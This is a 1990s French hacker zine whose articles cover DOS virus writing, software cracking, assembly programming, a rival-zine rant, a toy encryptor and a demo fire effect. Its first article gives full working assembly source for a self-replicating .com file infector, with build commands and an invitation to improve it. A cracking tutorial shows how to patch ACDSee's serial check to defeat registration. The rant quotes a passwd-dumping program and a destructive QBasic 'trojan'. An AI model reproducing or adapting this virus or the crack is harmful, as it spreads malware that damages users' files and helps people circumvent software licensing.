                          *-----------------------*
                         **Malicia Production Zine**
                          *-----------------------*
                                  NuMbEr 2


Introduction:

Toujours plus fort et toujours plus interessant(enfin j'spre) voila
Malicia Production Zine 2!!  Je comptais faire une analyse du protocole
utilis par la taupe de JC'zic mais plus moyen de faire marcher une taupe
sur mon systme........what the fucking shit????? Enfin bon c pas grave j'ai
prvu d'autres choses interessantes ;). Heille j'y pense comme a, ce
serait cool une rubrique courriers des lecteurs alors si vous avez qqchose
 dire, ou vous voulez crire un article:

freaking@caramail.com

Ha autre chose:
"Windows 98 inaugure son premier bogue (18/08/1998) Aprs les difficults
de migration de Windows 95 vers Windows 98, le nouveau systme d'exploitation
de Microsoft vient de se voir dot de son premier bogue officiel. La compagnie
anglaise Prove It 2000 vient en effet de montrer que, lorsque Windows 98 est
relanc entre 23h59 et minuit, celui-ci fait un bond dans le temps d'un ou
deux jours. De quoi srieusement endommager une base de donnes... Microsoft
a promis d'installer une " rustine " sur son site dans les jours  venir".

Hahaha et c que le premier ;). Je vous dit qu'a chaque nouvelle version
ils en rajoutent :)).

<SaTaNiK>

Sommaire:


Ŀ
                  Titre de l'article:                      Sujet:    
Ĵ
 Virus: infecteurs com                                   Virii       
Ĵ
 Cours de Cracking 2                                     Cracking    
Ĵ
 Initiation  l'asm 2                                    Asm         
Ĵ
 UHA, is that about Hack???                              Delire      
Ĵ
 Fire effect                                             Demo Coding 
Ĵ
 Initiation au cryptage 2                                Cryptage    



******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                     <--------------------------------->
                            Virus: Infecteurs .com
                     <--------------------------------->

        Voila mon premier article sur les virus, je commence par les
infecteurs de .com car ce sont les plus simples, aprs on fera les .exe et
aprs on verra ;).

        La premire chose  savoir sur les virus c'est qu'ils s'ecrivent
en assembleur, pour la simple raison que c plus petit(on va pas faire des
'virus' de 400 Ko comme JC'zic ;)).

Mais tout d'abord tudions ce que fera l'infection:

      Avant infection:

        ************                            *************   
        * mov ax,  *                            * jump      *
        * 1234     *                            * virus     *
        ************                            *************
        *          *                            *           *   < fonc
        * Clean    *                            * Infec     *
        * File     *                            * File      *
        *          *                            *           *
        ************                            *************
                                                * Virus     *   < virus
                                                *************
                                                * mov ax,   *
                                                * 1234      *
                                                *************
                                                * jump      *
                                                * fonc      *
                                                *************

Essayez de bien vous mettre ce schma en tte car il est important! Donc en
fait notre programme marche de la faon suivante lors de l'infection, il
sauvegarde les 3 premiers bytes, et les remplacent par un saut sur la fin du
fichier, et l il s'crit dans le fichier...

Lors de l'execution donc le saut aura lieu, le virus s'execute(infecte
d'autres fichiers ;) ) et ensuite remplace(en mmoire) les bytes qu'il avait
remplac par les originaux et saut  100h...et donc le prog s'execute
normallement

Bon et comme d'ab je vous propose du code ;).
******************************************************************************
code segment
; SEGMENT DE CODE
        assume cs:code,ds:code
;CS ET DS POINTENT TOUT LES 2 SUR CODE
        org 100h
;LES FICHIER COM COMMENCENT A 100H
debut:
        db 0e9h,0,0          ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR
                             ;FAIRE COMME SI LE PROGRAMME ETAIT
                             ;INFECTE

virus:
        call depart_virus    ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT
                             ;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME
                             ;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST
                             ;MISE SUR LA PILE)

depart_virus:
        pop bp                      ;RECUPERE JUSTEMENT CETTE VALEURE
        sub bp,OFFSET depart_virus  ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
                                    ;VIRUS POUR OBTENIR LE DEBUT DU CODE
                                    ;DU VIRUS...

remet_3_bytes:
        mov cx,3                    ;VA DEPLACER 3 OCTETS
        lea  si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX
        mov  di,100h                ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT
                                    ;A 100h...)
        rep movsb                   ;REMET LES OCTETS ORIGINAUX

init_dta:
        lea  dx,[bp+OFFSET dta_place]  ;MET DANS DX L'ADRESSE DE dta_place
        mov  ah,1ah                    ;FONCTION 1Ah
        int  21h                       ;LANCE L'INTERRUPTION

trouve:
        mov  ah,4eh                    ;PREMIERE RECHERCHE
        lea  dx,[bp+comsig]            ;MET LE NOM DU FICHIER QU'ON CHERCHE
                                       ;DANS DX(ici *.com)
        mov  cx,7                      ;RECHERCHE UN FICHIER AVEC N'IMPORTE
                                       ;QUELLE ATTRIBUTS...

cherche:
        int 21h                        ;LANCE LA RECHERCHE
        jnc ouvre                      ;SI FICHIER TROUVE SAUTE A ouvre
        jmp fin_cherche                ;SINON VA A fin_cherche

ouvre:
        mov  ax,3d02h                     ;FONCTION 3Dh
        lea  dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM
                                          ;DU FICHIER TROUVE
        int  21h                          ;LANCE L'INTERRUPTION
        mov bx,ax                         ;MET BX DANS AX


        mov  ah,3fh                       ;LIT LES 3 BYTES QUI VONT CHANGE
        lea  dx,[bp+troisbytes]           ;ET PIS LES MET DANS troisbytes
        mov  cx,3
        int  21h                          ;EFFECTUE LA LECTURE


        mov  ax,word ptr [bp+dta_place+1ah]  ;MET DANS AX LA TAILLE DU FICHIER
        mov  cx,word ptr [bp+troisbytes+1]      ;MET DANS CX LES 2 DERNIERS BYTES
                                             ;DU JUMP DONC LA TAILLE DU
                                             ;FICHIER SI INFECTE
        add  cx,end_virus-virus+3            ;Y AJOUTE LA TAILLE DU VIRUS
        cmp  ax,cx                           ;COMPARE LES 2
        jz   ferme                           ;SI EGALE ALORS INFECTE


        sub  ax,3                            ;ENLEVE TROIS A LA TAILLE
                                             ;CAR NOUS LES AVONS DEJA LUS
        mov  word ptr [bp+newjump+1],ax      ;MET DANS LES 2 DERNIERS BYTES
                                             ;DE NEWJUMP LA TAILLE DU FICHIER
                                             ;ET DONC CALCULE LE SAUT QUI
                                             ;REMPLACERA LES 3 bytes


        mov ax,4200h                         ;VA AU DEBUT DU FICHIER
        xor cx,cx
        xor dx,dx
        int 21h


        mov ah,40h                           ;ET ECRIT LES 3 BYTES  
        mov cx,3
        lea dx,[bp+newjump]
        int 21h


        mov ax,4202h                         ;VA A LA FIN DU FICHIER 
        xor cx,cx
        xor dx,dx
        int 21h


        mov ah,40h                           ;ET ECRIT LE VIRUS
        mov cx,end_virus-virus               ;TAILLE DU VIRUS
        lea dx,[bp+virus]                    ;POINTE SUR VIRUS
        int 21h

ferme:
        mov  ah,3eh                          ;FERME LE FICHIER
        int  21h

        mov  ah,4fh                          ;CHERCHE PROCHAIN FICHIER
        jmp  cherche            

fin_cherche:
        mov  dx,80h                          ;REMET LE DTA A SA PLACE ;)
        mov  ah,1ah
        int  21h

        mov di,100h
        jmp di
        

comsig db '*.com',0
troisbytes db 0cdh,20h,0
newjump db 0e9h,0,0

end_virus label near

dta_place db 42 dup (?)

code    ENDS
        END    debut
******************************************************************************

Pour compiler:
--------------
tasm Virus.asm
tlink Virus.obj /t

Bon voil maintenant que vous avez le code source avec des explications sous
les yeux je vais expliquer des choses en plus car j'ai pas eu la place
d'en parler dans la source:
        ******************************************************************
        pop bp                      ;RECUPERE JUSTEMENT CETTE VALEURE
        sub bp,OFFSET depart_virus  ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
        ******************************************************************
En fait on fait a car l'OFFSET depart_virus est un label et quand il est
compil par tasm il devient un nombre, mais quand nous infectons un fichier
le virus se trouve  la fin du fichier et donc ce nombre n'est plus correct...
Il faut donc trouver le deplacement par rapport au fichier courant, pour
cela on recupere la vrais adresse de depart_virus et on lui soustrait
l'ancienne pour obtenir le dbut du virus dans le fichier...comme je sais
que c'est assez dur  comprendre je vais vous faire une chtite explication:

le fichier non-infect fait 1000 octects
l'adresse de depart_virus aprs compilation est 6

Une fois le virus lan pop bp donc bp vaut 1006...on soustrait 6 et
on obtient le dbut du virus :). C clair cette fois non?

        ******************************************************************
        lea  dx,[bp+OFFSET dta_place]  ;MET DANS DX L'ADRESSE DE dta_place
        mov  ah,1ah                    ;FONCTION 1Ah
        int  21h                       ;LANCE L'INTERRUPTION
        ******************************************************************
DTA est en fait une table qui vous permet d'avoir des informations sur le
fichier ouvert, pour pouvoir l'utiliser il faut lui allouer une place
et a se fait via cette interruption...pour plus d'informations:

                            DTA
------------------------------------------------------------

Offset       Size                       Function

0h           21 Bytes                   Reserv
15h           1 Byte                    Attributs du fichier
16h           2 Bytes(WORD)             Time du fichier
18h           2 Bytes(WORD)             Date du fichier
1Ah           4 Bytes(DWORD)            Taille du fichier
1Eh          13 Bytes                   Nom du fichier
------------------------------------------------------------

Bon voil vous pouvez vous amusez avec ce virus et l'ameliorer :).
Bon amusement ;)

Bon je met le virus en com avec le mag :) et il fait: 167 octect!!!
Alors imaginez tout les conneries que contient la taupe de
JC'zic(400 000 octets environs ;))

<SaTaNiK>

******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                               /%%%%%%%%%%%%%%%\
                              %%Cours de CraCk2%%
                               \%%%%%%%%%%%%%%%/

        Re-bonjour et bienvenue dans la 2me partie de mon tutorial :).
Cette fois on s'attaque  un peu plus amusant mais pas trs dur quand mmme...

-Softice V3.2
Ce logiciel est un dbuggeur, c'est  dire un programme qui permet de suivre
le programme alors qu'il s'execute et ainsi de reprer par exemple de reprer
l'endroit ou il compare votre serial au bon serial. Il existe d'autres
dbuggeurs comme Turbo Debuggeur qui est distribu avec les programmes
Borlands mais il est loin d'tre aussi performant que Softice...

-W32Dasm V8.9
Il ne sera pas vraiment ncssaire mais permet d'avoir une vue d'ensemble du
programme....


La dernire fois le logiciel  cracker tait poua trs connu alors cette fois
i je vous propose un peu plus connu(en fait je pense que tout le monde l'a :)
, c'est Acdsee V2.0(je sais c pas la dernire mais c la meilleure :).

        Bon cette fois y va falloir bosser :). Alors pour commencer vous
installez softice, dans softice(Ctrl+D) vous aurez besoin d'enabler plusieurs
options qui vous permettront de voir plus de choses:
CODE ON
DATA
R
voila 3 trucs que vous devrez tapez pour avoir tout ce dont vous avez besoin
sous les yeux.

        Bon revenons  nos moutons :), lancez acdsee et comme d'ab allez
dans help->register et la il vous demande un code et un nom...alors la on
fait un ptit ctrl-d et on est sous softice, vous tapez alors TASK pour savoir
sous quel nom runne acdsee.....normalemment il devrait runner sous le nom
"Acdsee32". Pour savoir les diffrents sous-objets qui composent cette
application vous tapez HWND Acdsee32 et vous obtenez un liste. Dans cette
liste il y a 2 edit qui sont en fait les zones ou vous crivez votre nom
et votre srial. Vous relevez donc un des Window Handle(le nombre le plus 
gauche) de type edit et vous tapez un ligne comme celle i:

BMSG 1234 WM_Gettext
en remplaant bien videmment le numro 1234 par le window handle du edit...

        Nous venons la de poser un breakpoint qui arretera le programme
et lanera softice quand Acdsee32 enverra le message WM_Gettext  la boite
de dialogue(pour rcuprer le texte quoi....)

        Donc nous rentrons un nom et un srial bidon et on appuye sur OK.
Et pof Softice apparait, on appuye sur ctrl-d car de tout faon le programme
n'a pour le moment que rcuprer le nom...softice break encore et la vous
appuyez sur F12 le temps de revenir dans le code du programme acdsee qui
devrait se trouver dans les 0137:004XXXXX ou qqchose comme a...

Plus exactent vous devriez avoir le code suivant devant les yeux:
******************************************************
lea eax, [esp+38]      ;Met l'adresse du pass dans eax
lea ecx, [esp+18]      ;Met l'adresse du nom dans ecx
push eax
push ecx               ;Met sur la pile
call 00402FC0          ;Verifie le pass
add esp,08
test eax,eax
jle 0040372A           ;Si mechant garon Fait le jump
******************************************************

        Ici si vous essayez de nopper le jump le logiciel vous dira 'merci
de vous tre enregistr' mais il ne s'enregistrera pas......donc
nous allons devoir tudier plus en profondeur le premier call. Pour cela vous
mettez un break en double cliquant sur le call dans softice...donc vous
recliquez sur Ok et softice break, la vous rentrez  l'interieur du call en
appuyant sur F8.

        Bon dans cette boucle le premier call verifie si le nom fait plus
de 5 caractres, si oui il met eax  un si non il met eax  0. Et juste aprs
ce call il fait un ret si eax==0. Bon moi j'ai rentr SaTaNiK comme nom
donc a marche :). Ensuite le programme ne fait plus qu'un call et retourne
d'ou il vient....donc ce call la verifie le password...mais si vous rentrez
dans ce call l vous vous rendrez vite compte que la procdure est assez
complexe....

        Mais regardez juste aprs ce call il y a quelques trucs intressants:

****************************************************
call 00421750       ;Voici donc le jump qui
                    ;Verifie le serial
add esp, 0000000C
cmp eax, 00000001   ;Hoooo comme c'est interessant :)
                    ;Il compare deja eax =)
sbb eax, eax
pop esi
inc eax
ret                 ;Pis il retourne du call
*****************************************************

        Et oui il compare deja eax pour voir si le serial est bon...
et cette comparaison  pour consquence de modifier le contenue de eax en
dessous :).

        Donc nous avons cette comparaison  modifier:
83 F8 01      cmp eax, 00000001
        en
83 F8 00      cmp eax, 00000000

        Et voila le tour est jou :).

Voila, voila c'est finit pour mon deuxime cours de cracking...

<SaTaNiK>
******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                               Ŀ
                               Cours d'asm
                               
                                LECON N2
                                

Cette fois on va faire un......allez essayer de deviner quoi :). On va faire
un programme de Dessin!!!

Bon pour faire un programme de dessin voyons ce dont on  besoin...d'une
souris...et pis d'un ecran en mode graphique...et ensuite nous devrons crer
des fonctions :)...

Pour pouvoir afficher une image il faut d'abord passer en mode graphique car
au dmmarage de l'ordinateur(ou en mode dos normal) on est en mode texte.
Pour cela on va trs simplement faire appel  la fonction 0 de l'interruption
10h. Cette fonction permet de changer le mode de l'cran...

***FONCTION 0 DE L'INTERRUPTION 10H***
Paramtres d'entre:
     -AH=00
     -AL=mode vido
**************************************

2 modes vidos nous interesse particulirement: le mode 3h est celui dans
lequel nous devrons revenir  la fin du programme(mode texte). Le mode 13h
quand  lui est le mode graphique qui nous interesse car il permet 256
couleurs dans une rsolution de 320*200 pixels(c'est notre mode graphique).

Donc pour passer en mode graphique nous ferons simplement:
**********
mov ah,0
mov al,13h
int 10h
**********

Donc nous voila en mode graphique...mais maintenant il faut absolument que
nous sachions afficher un point...pour cela nous pourrions encore utilis
une interruption mais elle sont trop lentes pour ce genre de chose...

Pour afficher un point sur l'cran nous devons pointer sur la mmoire vido.
Pour cela nous allons utiliser le segment ES qui pointera sur la mmoire
vido...pour faire cela il suffit simplement de faire pointer ES sur A000H:
*************
mov ax,0a000H
mov es,ax
*************

Il y a deux choses que vous devez avoir not rien qu'a ces 2 lignes, c'est
qu'on ne peut pas crire directement dans les segments...et que sur on veut
mettre une valeure dans une variable et si celle si commence par une lettre
(la valeur) et bien nous devons rajouter un 0 devant pour que le compil ne
la prenne pas pour une variable...

Pour mettre un point ce sera donc trs simple il suffira de mettre par exemple
dans di la valeure qu'on veut attendre et on met la couleur dans ce point.
Un ptit exemple pour vous claircir les ides:
***********************
mov di,50
mov es:[di], byte ptr 5
***********************

Ce ptit code fera apparatre un point  la ligne 0 colonne 50...si nous avions
voulu mettre un point dans la ligne 8 colonne 30 il suffisait de faire un ptit
calcul: ligne*320+colonne=di...

Pour se servir de la souris MS-DOS nous offre une panoplie de fonctions:

**Initialiser la souris**
fonction 00 de l'interruption 33h
-ax=00
*************************
Cette fonction renvoit 0 si aucun pilote de souris n'est install...

**Affiche/cache la souris**
fonction 01 de l'interruption 33h
-ax=01
***************************
Si vous executez cette fonctions alors que la souris et visible, elle
disparaitra et inversement...

**Lit l'tat de la souris**
fonction 03 de l'interruption 33h
-ax=03
***************************
Cette fonction renvoit dans bx l'tat des boutons cod comme suit:
bit0=1 le bouton gauche  t actionn
bit1=1 le bouton droit  t actionn
Elle renvoit dans cx, l'abscisse X du pointeur et dans dx l'ordonne Y.
Qqchose de bizarre c que cx doit tre divis par 2....car la souris met la
valeure sur 640....et non pas sur 320...


Une des choses les plus importantes dans l'asm est l'utilisation des jumps...
Il existe en asm une grande quantit de jump dont je vais devoiler les secrets
ici! Il existe en mmoire une sorte de registre qui contient des indicateurs
qui sont soit  0 ou 1...et les jumps ne font que les tester...il existe
diffrentes fonctions qui modifient ces indicateurs mais la principale que
nous allons utiliser est cmp, cette instruction permet simplement de comparer
2 registres ou un registre et une valeur....

**je******************************************
ce jump ne fait le saut qu'en cas d'galit...
Exemple:
mov ax,5
cmp ax,5
je saute_car_5_est_egal__5
**********************************************

**jb******************************************
ce jump saut si la premire valeure est
infrieur  la deuxime...
Exemple:
mov ax,1
cmp ax,80
jb saute_car_1_est_plus_petit_que_80
**********************************************

Pour obtenir l'effet inverse, par exemple pour sauter si, dans notre deuxime
exemple ax tait plus grand que 80 il suffit d'intercaler un n au milieu du
jump...par exemple pour jb sela donnerait jnb...simple non?

Il existe aussi un autre saut, trs simple, c jmp qui effectue un saut sans
condition......

Ha j'oubliais, aprs le jump vous mettez ce qu'on appelle un label...c'est
simplement un nom...

**********Exemple**********
mov ax,8
cmp bx,ax
jb saut1
jmp saut2
saut1:

saut2:
***************************


Bon donc voila ce que devrait donner notre programme:

                 *****************************************
.MODEL SMALL
.STACK 100H
.386

.DATA
NOSOURIS DB "La souris n'as pas t trouve :(...$"

.CODE
debut:                      ;DEBUT DU PROGRAMME
mov ax,@DATA                ;INITIALISE LE SEGMENT DATA
mov ds,ax

mov ax,0A000h               ;POINTE LE SEGMENT ES SUR VIDEO
mov es,ax

mov ah,00                   ;INITIALISE LE MODE VIDEO
mov al,13h
int 10h

mov ax,0                    ;INITIALISE LA SOURIS
int 33h
cmp ax,0                    ;ET JUMP SI PAS DE PILOTES
je no_souris

mov ax,1                    ;AFFICHE LA SOURIS
int 33h

infinit_loop:
mov ax,3h                   ;TESTE L'ETAT DE LA SOURIS
int 33h

cmp bx,1
je button_1_pressed         ;LOOK SI BUTTON 1 APPUYE

cmp bx,2                    ;LOOK SI BUTTON 2 APPUYE
je button_2_pressed

jmp infinit_loop            ;SINON REGARDE ENCORE ETAT

button_1_pressed:
sub cx,2                    ;ON SOUSTRAIT 2  X ET Y POUR EVITER
sub dx,2                    ;DES PROBLEMES AVEC L'AFFICHAGE DE LA SOURIS

mov ax,320                  ;MULTIPLIE DX(Y) PAR 320
mul dx

shr cx,1                  ;DIVISE LES X PAR 2

add ax,cx                 ;ET AJOUTE LES X

mov di,ax                   ;AFFICHE UN JOLI POINT TOUT BEAU =)
mov es:[di],byte ptr 5

jmp infinit_loop            ;ET PIS REGARDE SI ENCORE APPUYE

button_2_pressed:
jmp good_end                ;QUITTE LE PROGRAMME SI 2me BOUTTON PRESSE

no_souris:
mov ax,2                    ;CACHE LA SOURIS
int 33h
mov ah,00                   ;RETABLIT MODE TEXTE
mov al,03h
int 10h
mov ah,09h                  ;AFFICHE ERREUR
lea dx,NOSOURIS
int 21h
mov ax,4C00H                ;ET QUITTE
int 21h

good_end:
mov ax,2                    ;CACHE LA SOURIS
int 33h
mov ah,00                   ;RETABLIT MODE TEXTE
mov al,03h
int 10h
mov ax,4C00H                ;QUITTE
int 21h

END debut                   ;INFORME LE PROG QUE L'ON COMMENCE  debut
                 *****************************************


Et voila mon deuxime cours finit.....j'spre que vous aurez aim...et puis
il ne tient qu' vous d'amliorer ce programme :)). 

<SaTaNiK>

******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                             UHA or the lamer Power
                             ----------------------

Et oui j'ai fais un ptit article rien que sur ce zine compltement lame qu'est
UHA, un vrais poubelle je vous dit, mais comme je n'insulte pas sans raison je
vais vous le prouver....

*******************************
Lisez le avec Office ou Word...
*******************************
Uh, qu'est ce qu'il me dit l'autre, je devrais lire son zine avec Office
de MICROSUCK!!!! Mais j'ai pas a et je l'aurais jamais!!! Vive EDIT du
DoS :).

***********************************************************************
Ce Zine est publier par : [DaeMoN] en collaboration avec le UHA et tout 
les autres qui y participe...
***********************************************************************
Le pauvre est tout seul pour faire son ptit zine pourris et il ose pas
le dire....(2 points pour moi)!!! :))

***************************************************************************
Mais en t k moi ca sera pas mon cas...Je vais continuer mme si le FBI est
a mon cul...Je chierai pas dans mon froc comme eux...Bon on commence lanon 
nous dans les chose un peu + srieuse...GO
***************************************************************************
Rassure toi mon gars, c'est pas avec un zine aussi pourris que t'auras le
FBI au cul...(3)

************************************************************************
2. Bon alors un passwd file c un file (le nom le dit) qui contient les
information du user name et du passwd pour avoir accs a des Linux/Unix, 
FTP, Wwwboard (Je vais surment expliquer dans ce # comment hacker un 
wwwboard).
************************************************************************
Heille je sais pas si tu sais mon vieux mais le hack de wwwboard a deja
t fait...par Total Control que tu critique je crois... :))

*************************************************************
#include <pwd.h>
main ()
{
/* Programmer par [DaeMoN] */
/* Pour unshadow passwd file */

struct passwd  *p ;

while(p=getpwent ())

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,

  p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

}
*************************************************************
Putain ya pas  dire c'est un bon programeur, il sait crer une structure
et pis lancer une fonction fiouuuuuu...mmme moi j'y arriverais pas(4)!!!

***************************************************************************
J'allais oublier ... pour downloader un passwd file de environs 400 account
prenez le a :
http://members.xoom.com/UHA_Daemon/Hackme.zip
***************************************************************************
Mais putain on s'en caliss de tes 400 accounts pov dbile, si on connait pas
le site qui va avec...rha putain t'es un criss de chier de lamer ou quoi?(5)

*************************************************************************
Bon OK...on commence dans cette article je vais vous expliquer comment
monter un trojan en Qbasic...c vraiment pas complexe vous allez voir si 
vous avez dj fais du QB vous allez pas avoir de misre...OK on commence 
la programmation...

Rem programed by [DaeMoN]
Color 13,0
Print "Installation des Data File , veuillez patienter" 
Print "Cela peut prendre de 10 a 15 minute selon votre ordinateur"
shell "cd\"
for a = 1 to 6666
a$=str$(a)
c$="md" + a$ + ".hee"
shell c$
next a
cls
print" UHA Version 3.7 est maintenant installer sur votre ordinateur..."
print" Bonne journe"
print
input "Appuyer sur ENTER pour rebooter votre system!";a$
shell "boot.com"
*************************************************************************
Hem quesque c'est hot, et en qbasic en +..ouhaaaaaa il cre 6666 rpertoires
oh putain c trop cool....non je dconne bien sur, c'est un vrais merde
et putain c trop dbile d'appeller a un trojan...rha putain c le pire de
criss de lamer(ptt pas en fait) que j'ai jamais vu!!!!

*****************************************************************************
Ce petit brin de programmation a t fais par moi et J-A-K-E pour pas de 
discrimination...Ce petit trojan (un bon ami) cre 6666 rpertoires dans le 
C : hehe efficace vous me dirai...mais ya qua les effacer ...ben j'ai une 
nouvelle Il ne sont pas effaables dsoler...Hehe non mais il faux un format 
C : pour les effacer sinon il reste...Ca doit tu tre chiant d'avoir 6666 
rpertoires dans son C : ... Amuser vous bien ! ! !
*****************************************************************************
C'est vrais que ya de quoi revendiquer son coups, un truc aussi bien crit
c'est vraiment rare....comment a il sont pas effacable????excuse mais je
viens de voir que les noms des rpertoires tait ?.hee et ben un bon
deltree *.hee et pis ya pu rien, allez retourne dans ta cave pov lamer...


Bon voila j'ai pouss mon coup de rage contre la nullit qui s'abat sur le
monde du hacking :)). Enfin je souhaite malgrs tout un bon avenir  UHA ;)).

<SaTaNiK>


******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************

                           Initiation au Crpage 2
                            !!!!!!!!!!!!!!!!!!!!!!

Hehe j'ai un peu amliorer le crypteur de la dernire fois, cette fois
il a besoin d'un code pour crypter....

******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>

void main(int argc, char *argv[])
{
    unsigned long taille;
    unsigned long index;
    unsigned char *buffer;
    unsigned char index2;
    unsigned char Signature[10];
    unsigned char good_key[50];
    unsigned char crypt=33;
    FILE *to_crypt;
    FILE *crypted;

    printf("Spiritic Crypter By SaTaNiK V0.2\n\n");
    if(argc!=3)
    {
        printf("Usage:\n");
        printf("Crypter <source_file> <crypted_file>\n");
        exit(0);
    }

    to_crypt=fopen(argv[1],"r+b");
    if(to_crypt==NULL)
    {
        printf("Can't open source file...\n");
        exit(1);
    }

    crypted=fopen(argv[2],"wb");
    if(crypted==NULL)
    {
        printf("Can't create crypted file...\n");
        exit(1);
    }

    for(index=0;index<50;index++)
    {
        good_key[index]=0;
    }

    try_again:
    printf("Please enter a 10 digits key:\n");
    cin >> good_key;
    if(good_key[9]==0)
    {
        printf("You don't enter a gook key(you're stupid?)...\n");
        printf("Try again...\n");
        goto try_again;
    }

    fseek(to_crypt,0,SEEK_END);
    taille=ftell(to_crypt);
    fseek(to_crypt,0,SEEK_SET);
    buffer=(unsigned char *)malloc((taille+10));
    if(buffer==NULL)
    {
        printf("Can't allocate enought memory...\n");
        exit(1);
    }

    printf("I'm crypting master...\n");
    index2=0;
    Signature[0]='S';
    Signature[1]='p';
    Signature[2]='i';
    Signature[3]='r';
    Signature[4]='i';
    Signature[5]='t';
    Signature[6]='i';
    Signature[7]='c';
    Signature[8]='C';
    Signature[9]='r';

    for(index=0;index<10;index++)
    {
        buffer[index]=Signature[index];
        buffer[index2]+=good_key[index2];
        crypt^=Signature[index2++];
        if(index2==10)
        {
            index2=0;
        }
        crypt+=Signature[index2];
        buffer[index]^=crypt;
    }
    
    for(index=10;index<taille+10;index++)
    {
        buffer[index]=(unsigned char)getc(to_crypt);
        buffer[index]+=good_key[index2];
        crypt^=Signature[index2++];
        if(index2==10)
        {
            index2=0;
        }
        crypt+=Signature[index2];
        buffer[index]^=crypt;
    }

    fwrite(buffer,1,(taille+10),crypted);

    printf("File crypted successfully :)\n");

    exit(0);
}
******************************************************************************

Avec le mag, il y a une fichier crypt(Hello.cry) alors le premier qui
m'envoit la solution pour casser le code(c assez faile en fait) je la publie,
videmment faut que a soit clean comme rponse ;). Sous la forme d'un prog
a serait mieux =).

<SaTaNiK>

******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                             ***************
                              <Fire CoDiNg>
                             ***************

Vous ne le savez sans doute pas, j'adore les dmos :). Si vous ne savez pas
ce qu'est un dmo et bien c'est en fait un ensemble de programmation, de
graphs et de musique qui rend qqchose de trs bien(enfin la plupart du temps
car c comme partout, y a des rats). Si vous ne connaisez pas je vous
conseille "second reality" qui date un peu mais qui est trs bien ou alors
"Robotnik" qui est bien aussi :).

Bon pour revenir au sujet, nous ce qui nous interesse c'est le code :), enfin
moi du moins, ici je vous propose de coder un effet de feu, un effet qu'on
ne voit plus beaucoup dans les dmos mais qui est interessant  coder :).

A vrais dire, en codant cette effect je ne me suis servir d'aucun tutorial
ou quoi que ce soit, je me suis assis devant l'ordi en me disant:
"je dois faire un effet de feu ;))".

Bon on va pas tout de suite faire une belle palette, on va tout simplement
faire une palette qui va du noir(0) au blanc(255).
******************************
for(index=0;index<256;index++)
{
r=index/4;
g=index/4;
b=index/4;
}
******************************

Bon nous allons reflechir  comment faire un effet de feu...moi la premire
mthode qui m'est venu  l'ide tait de faire des lignes qui partait du
bas de et de longueur allatoire, avec un effet de floue...Vous trouverez
l'executable(Test.exe) avec le zine...

Comme vous pourrez vous en aperevoir, ce n'est pas du tout un effet de feu,
alors je me suis dit....mais quesqu'il manque??? Et puis j'ai trouv, les
flames ne montent pas!!!! Donc il faut crer une fonction qui commence par
le haut, et qui mettent les couleurs au dessus....

Donc finalement voici le code:
******************************************************************************
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <stdlib.h>              //TOUTES LES BIBLIOTHEQUES DONT ON 
#include <i86.h>                 //A BESOIN
#include <math.h>
#include <malloc.h>
#include <process.h>
#include <mem.h>

//FONCTION POUR GENERER UN NOMBRE ALEATOIRE
#define ALEA(n)          (((float)rand() / (float)RAND_MAX)*(n))

unsigned char r,g,b;
//RED,GREEN,BLUE, POUR LA PALETTE
unsigned char *videomem = (unsigned char *)0xA0000000;
//POINTEUR SUR LA PALETTE VIDEO
int index;
int index2;
//DEUX INDEX DONT ON SE SERT SOUVENT DANS LE PROGRAMME
int couleur;
//COULEUR DU POINT APRES BLUR
unsigned int aleat;
//SERT POUR LES CHIFFRES ALEATOIRES...
unsigned char *buffer;
//BUFFER POUR L'IMAGE

//FONCTION POUR TRACER UN PIXEL
void pixel(unsigned int x,unsigned int y,unsigned char color)
{
    buffer[x+320*y]=color;
}

//FONCTION POUR PALETTE
void set_palette(unsigned char color)
{
    outp(0x3c6,0xFF);
    outp(0x3c8,color);
    outp(0x3c9,r);
    outp(0x3c9,g);
    outp(0x3c9,b);
}

//FONCTION POUR CHANGER MODE
void change_mode(unsigned char mode)
{
    union REGS regs;
    regs.x.ax=mode;
    int86(0x10,&regs,&regs);
}

//AFFICHE LE BUFFER
void show_buffer()
{
    memcpy((unsigned char *)videomem,(unsigned char *)buffer,63680);
}

//ATTEND L'ECRAN POUR AFFICHER
